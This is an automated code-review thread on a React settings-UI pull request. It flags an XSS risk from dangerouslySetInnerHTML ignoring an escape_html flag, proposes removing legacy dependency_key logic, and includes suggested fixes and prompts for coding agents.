# Check if there are any sanitization utilities in the project
fd -e ts -e tsx | xargs grep -l "sanitize\|purify\|stripTags\|escape" | head -20Repository: getdokan/plugin-ui
Length of output: 132
🏁 Script executed:
#!/bin/bash
# Check the type definition for html_content in settings-types.ts
cat -n src/components/settings/settings-types.ts | grep -A 5 -B 5 "html_content"Repository: getdokan/plugin-ui
Length of output: 456
🏁 Script executed:
#!/bin/bash
# Find the full HtmlField function definition
grep -n "export function HtmlField\|function HtmlField" src/components/settings/fields.tsxRepository: getdokan/plugin-ui
Length of output: 138
🏁 Script executed:
#!/bin/bash
# Read the full HtmlField implementation
cat -n src/components/settings/fields.tsx | sed -n '900,930p'Repository: getdokan/plugin-ui
Length of output: 1427
🏁 Script executed:
#!/bin/bash
# Check what RawHTML does and how it's used
rg -A 2 "import.*RawHTML.*from.*`@wordpress/element`" src/components/settings/fields.tsxRepository: getdokan/plugin-ui
Length of output: 160
Respect the escape_html flag when rendering html_content.
The HtmlField component ignores the escape_html boolean flag defined in the schema type. When escape_html should be true, the component still injects HTML via dangerouslySetInnerHTML, creating an XSS surface.
Conditionally render:
- Escaped text when
element.escape_html === true - Raw HTML (via
RawHTMLordangerouslySetInnerHTML) whenelement.escape_html !== true
🧰 Tools
🪛 ast-grep (0.42.2)
[warning] 924-924: Usage of dangerouslySetInnerHTML detected. This bypasses React's built-in XSS protection. Always sanitize HTML content using libraries like DOMPurify before injecting it into the DOM to prevent XSS attacks.
Context: dangerouslySetInnerHTML
Note: [CWE-79] Improper Neutralization of Input During Web Page Generation [REFERENCES]
- https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
- https://cwe.mitre.org/data/definitions/79.html
(react-unsafe-html-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/settings/fields.tsx` around lines 923 - 926, HtmlField
currently always injects element.html_content via dangerouslySetInnerHTML,
ignoring the schema flag element.escape_html and creating an XSS risk; update
the JSX around the element.html_content rendering so that if element.escape_html
=== true you render the content as escaped text (plain children, e.g., render
the string or use a safe text node) and only use RawHTML/dangerouslySetInnerHTML
when element.escape_html !== true; locate the rendering in the component that
uses element.html_content and element.escape_html and implement the conditional
branch there (keep the existing className="prose prose-sm max-w-none" wrapper
for both cases).
| export function buildIdIndex( | ||
| schema: SettingsElement[] | ||
| ): Record<string, string> { | ||
| const idIndex: Record<string, string> = {}; | ||
|
|
||
| const walk = (elements: SettingsElement[]) => { | ||
| for (const el of elements) { | ||
| if ( | ||
| el.type === 'field' && | ||
| el.id && | ||
| el.dependency_key && | ||
| el.id !== el.dependency_key | ||
| ) { | ||
| // First writer wins — if two fields share an id (a schema | ||
| // bug consumers should detect with their own validator), | ||
| // we don't silently clobber the earlier mapping. | ||
| if (!(el.id in idIndex)) { | ||
| idIndex[el.id] = el.dependency_key; | ||
| } | ||
| } |
There was a problem hiding this comment.
🛠️ Refactor suggestion | 🟠 Major | ⚡ Quick win
Remove legacy dependency_key logic from buildIdIndex.
This function still depends on el.dependency_key, which is removed from the schema contract. It should no longer inspect or map dot-path keys.
Proposed cleanup
export function buildIdIndex(
schema: SettingsElement[]
): Record<string, string> {
- const idIndex: Record<string, string> = {};
-
- const walk = (elements: SettingsElement[]) => {
- for (const el of elements) {
- if (
- el.type === 'field' &&
- el.id &&
- el.dependency_key &&
- el.id !== el.dependency_key
- ) {
- if (!(el.id in idIndex)) {
- idIndex[el.id] = el.dependency_key;
- }
- }
- if (el.children && el.children.length > 0) {
- walk(el.children);
- }
- }
- };
-
- walk(schema);
- return idIndex;
+ // Kept only for backwards-compatible call signatures.
+ // dependency_key is removed in DOKAN_NEXT_MAJOR.
+ void schema;
+ return {};
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| export function buildIdIndex( | |
| schema: SettingsElement[] | |
| ): Record<string, string> { | |
| const idIndex: Record<string, string> = {}; | |
| const walk = (elements: SettingsElement[]) => { | |
| for (const el of elements) { | |
| if ( | |
| el.type === 'field' && | |
| el.id && | |
| el.dependency_key && | |
| el.id !== el.dependency_key | |
| ) { | |
| // First writer wins — if two fields share an id (a schema | |
| // bug consumers should detect with their own validator), | |
| // we don't silently clobber the earlier mapping. | |
| if (!(el.id in idIndex)) { | |
| idIndex[el.id] = el.dependency_key; | |
| } | |
| } | |
| export function buildIdIndex( | |
| schema: SettingsElement[] | |
| ): Record<string, string> { | |
| // Kept only for backwards-compatible call signatures. | |
| // dependency_key is removed in DOKAN_NEXT_MAJOR. | |
| void schema; | |
| return {}; | |
| } |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/settings/settings-formatter.ts` around lines 304 - 323, The
function buildIdIndex still reads el.dependency_key and maps ids to dot-paths;
remove all logic that references dependency_key so the index no longer maps to
dot-path keys. Update the walk loop in buildIdIndex to only consider elements
where el.type === 'field' and el.id is truthy, preserve the "first writer wins"
behavior (if (!(el.id in idIndex)) { ... }), and set idIndex[el.id] = el.id (or
otherwise record the id itself) instead of using el.dependency_key; remove any
dead code/branches that referenced dependency_key and keep SettingsElement/type
checks intact.
| /** Called when the save button is clicked. Receives the scope ID, nested tree values, and flat dot-keyed values. */ | ||
| onSave?: (scopeId: string, treeValues: Record<string, any>, flatValues: Record<string, any>) => void; |
There was a problem hiding this comment.
Update onSave doc to match id-keyed contract.
The comment still says “flat dot-keyed values”, but this migration switched keys to plain field id.
As per coding guidelines, "dependency_key must be removed and consumers should read element.id directly."
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/settings/settings-types.ts` around lines 152 - 153, Update the
onSave JSDoc to reflect that flatValues uses plain field IDs (id-keyed) instead
of dot-keyed keys: change the comment on onSave to say it receives scopeId,
treeValues, and flatValues where flatValues are keyed by element.id (not
dot-delimited paths), and note that dependency_key has been removed so consumers
should read element.id directly. Ensure the description references the onSave
signature and the elements' id field (element.id) so callers know to use
id-keyed access.
Summary by CodeRabbit
New Features
Improvements
Tests
Documentation